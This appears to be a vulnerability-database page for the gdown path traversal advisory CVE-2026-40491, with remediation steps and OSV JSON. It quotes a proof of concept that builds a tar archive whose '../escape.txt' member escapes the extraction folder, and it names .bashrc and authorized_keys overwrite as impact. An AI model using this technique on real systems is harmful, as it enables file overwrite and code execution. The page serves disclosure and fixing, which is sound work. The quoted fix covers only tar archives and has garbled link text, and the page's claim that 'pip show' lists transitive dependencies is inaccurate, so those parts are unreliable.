Vulnerabilities in pkg:pypi/gdown

PACKAGE
Advisory Identifier: GHSA-76hw-p97h-883f
Advisory Summary

CVE-2026-40491 is a MODERATE (CVSS 6.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Gdown libraries in the PyPI ecosystem. The issue involves gdown affected by arbitrary file write via path traversal in gdown.extractall. Remediation is available by upgrading affected packages to version 5.2.2.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/gdown

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/gdown. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-76hw-p97h-883f CVE-2026-40491 MODERATE gdown Affected by Arbitrary File Write via Path Traversal in gdown.extractall

CVE-2026-40491 at a Glance

CVE Identifier CVE-2026-40491
GHSA Identifier GHSA-76hw-p97h-883f
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Gdown
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-40491

To remediate this vulnerability, upgrade all affected Gdown dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

gdown fixed: 5.2.2
pip install gdown>=5.2.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show gdown

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-40491, inspect your installed packages using pip:

pip show gdown

Analyze the terminal output to locate any version of Gdown in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.2.2), your application is affected.

Note: The pip show gdown command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Gdown, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The gdown library (tested on v5.2.1) is vulnerable to a Path Traversal attack within its extractall functionality. When extracting a maliciously crafted ZIP or TAR archive, the library fails to sanitize or validate the filenames of the archive members. This allow files to be written outside the intended destination directory, potentially leading to arbitrary file overwrite and Remote Code Execution (RCE). ### Details The vulnerability exists in `gdown/extractall.py` within the `extractall()` function. The function takes an archive path and a destination directory (`to`), then calls the underlying `extractall()` method of Python's `tarfile` or `zipfile` modules without validating whether the archive members stay within the `to` boundary. Vulnerable Code: ``` # gdown/extractall.py def extractall(path, to=None): # ... (omitted) ... with opener(path, mode) as f: f.extractall(path=to) # Vulnerable: No path validation or filters` ``` Even on modern Python versions (3.12+), if the `filter` parameter is not explicitly set or if the library's wrapper logic bypasses modern protections, path traversal remains possible as demonstrated in the PoC. ### PoC ## Steps to Reproduce 1. Create the Malicious Archive (`poc.py`): ``` import tarfile import io import os # Create a target directory os.makedirs("./safe_target/subfolder", exist_ok=True) # Generate a TAR file containing a member with path traversal with tarfile.open("evil.tar", "w") as tar: # Target: escape the subfolder and write to the parent 'safe_target' payload = tarfile.TarInfo(name="../escape.txt") content = b"Path Traversal Success!" payload.size = len(content) tar.addfile(payload, io.BytesIO(content)) print("[+] evil.tar created.")` ``` 1. Execute the Vulnerable Function: ``` `python3 -c "from gdown import extractall; extractall('evil.tar', to='./safe_target/subfolder')"` ``` 1. Verify the Escape: ``` ls -l ./safe_target/escape.txt # Output: -rw-r--r-- 1 user user 23 Mar 15 2026 ./safe_target/escape.txt` ``` ### Impact An attacker can provide a specially crafted archive that, when extracted via `gdown`, overwrites critical files on the victim's system. - Arbitrary File Overwrite: Overwriting `.bashrc`, `.ssh/authorized_keys`, or configuration files. - Remote Code Execution (RCE): By overwriting executable scripts or Python modules within a virtual environment. ### Recommended Mitigation mplement path validation to ensure that all extracted files are contained within the target directory. **Suggested Fix:** ``` import os def is_within_directory(directory, target): abs_directory = os.path.abspath(directory) abs_target = os.path.abspath(target) prefix = os.path.commonpath([abs_directory]) return os.path.commonpath([abs_directory, abs_target]) == prefix # Inside [extractall.py](http://extractall.py/) with opener(path, mode) as f: if isinstance(f, tarfile.TarFile): for member in f.getmembers(): member_path = os.path.join(to, [member.name](http://member.name/)) if not is_within_directory(to, member_path): raise Exception("Attempted Path Traversal in Tar File") f.extractall(path=to) ```

CVE-2026-40491 Affected Gdown Versions

1 component(s)
Fixed Versions:
5.2.2
Product / Package Ecosystem Affected Versions Fixed Version
gdown
PyPI
< 5.2.2
5.2.2

References

Frequently Asked Questions

What is CVE-2026-40491?
CVE-2026-40491 is a security vulnerability in Gdown involving gdown Affected by Arbitrary File Write via Path Traversal in gdown.extractall under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Gdown versions are affected?
Affected versions include releases prior to 5.2.2 across affected packages: gdown.
What version fixes CVE-2026-40491?
Upgrading to 5.2.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is gdown affected?
Yes, gdown is affected in releases prior to 5.2.2. Upgrade your dependency to 5.2.2 or later.
What is the CVSS score of CVE-2026-40491?
CVE-2026-40491 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-40491?
CVE-2026-40491 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-40491?
Run the dependency tree command: 'pip show gdown'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-76hw-p97h-883f",
  "modified" : "2026-04-24T20:51:54Z",
  "published" : "2026-04-14T01:11:30Z",
  "aliases" : [ "CVE-2026-40491" ],
  "summary" : "gdown Affected by Arbitrary File Write via Path Traversal in gdown.extractall",
  "details" : "### Summary\nThe gdown library (tested on v5.2.1) is vulnerable to a Path Traversal attack within its extractall functionality. When extracting a maliciously crafted ZIP or TAR archive, the library fails to sanitize or validate the filenames of the archive members. This allow files to be written outside the intended destination directory, potentially leading to arbitrary file overwrite and Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in `gdown/extractall.py` within the `extractall()` function. The function takes an archive path and a destination directory (`to`), then calls the underlying `extractall()` method of Python's `tarfile` or `zipfile` modules without validating whether the archive members stay within the `to` boundary.\n\nVulnerable Code:\n```\n# gdown/extractall.py\ndef extractall(path, to=None):\n    # ... (omitted) ...\n    with opener(path, mode) as f:\n        f.extractall(path=to)  # Vulnerable: No path validation or filters`\n```\nEven on modern Python versions (3.12+), if the `filter` parameter is not explicitly set or if the library's wrapper logic bypasses modern protections, path traversal remains possible as demonstrated in the PoC.\n\n\n### PoC\n## Steps to Reproduce\n\n1. Create the Malicious Archive (`poc.py`):\n```\nimport tarfile\nimport io\nimport os\n\n# Create a target directory\nos.makedirs(\"./safe_target/subfolder\", exist_ok=True)\n\n# Generate a TAR file containing a member with path traversal\nwith tarfile.open(\"evil.tar\", \"w\") as tar:\n    # Target: escape the subfolder and write to the parent 'safe_target'\n    payload = tarfile.TarInfo(name=\"../escape.txt\")\n    content = b\"Path Traversal Success!\"\n    payload.size = len(content)\n    tar.addfile(payload, io.BytesIO(content))\n\nprint(\"[+] evil.tar created.\")`\n```\n1. Execute the Vulnerable Function:\n```\n`python3 -c \"from gdown import extractall; extractall('evil.tar', to='./safe_target/subfolder')\"`\n```\n1. Verify the Escape:\n```\nls -l ./safe_target/escape.txt\n# Output: -rw-r--r-- 1 user user 23 Mar 15 2026 ./safe_target/escape.txt`\n```\n\n### Impact\nAn attacker can provide a specially crafted archive that, when extracted via `gdown`, overwrites critical files on the victim's system.\n\n- Arbitrary File Overwrite: Overwriting `.bashrc`, `.ssh/authorized_keys`, or configuration files.\n- Remote Code Execution (RCE): By overwriting executable scripts or Python modules within a virtual environment.\n\n\n### Recommended Mitigation \nmplement path validation to ensure that all extracted files are contained within the target directory.\n\n**Suggested Fix:**\n\n```\nimport os\n\ndef is_within_directory(directory, target):\n    abs_directory = os.path.abspath(directory)\n    abs_target = os.path.abspath(target)\n    prefix = os.path.commonpath([abs_directory])\n    return os.path.commonpath([abs_directory, abs_target]) == prefix\n\n# Inside [extractall.py](http://extractall.py/)\nwith opener(path, mode) as f:\n    if isinstance(f, tarfile.TarFile):\n        for member in f.getmembers():\n            member_path = os.path.join(to, [member.name](http://member.name/))\n            if not is_within_directory(to, member_path):\n                raise Exception(\"Attempted Path Traversal in Tar File\")\n    f.extractall(path=to)\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "gdown"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.2.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.2.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/wkentaro/gdown/security/advisories/GHSA-76hw-p97h-883f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40491"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/wkentaro/gdown/commit/af569fc6ed300b7974dee66dc51e9f01b57b4dff"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/wkentaro/gdown"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/wkentaro/gdown/releases/tag/v5.2.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T01:11:30Z",
    "nvd_published_at" : "2026-04-18T03:16:13Z"
  }
}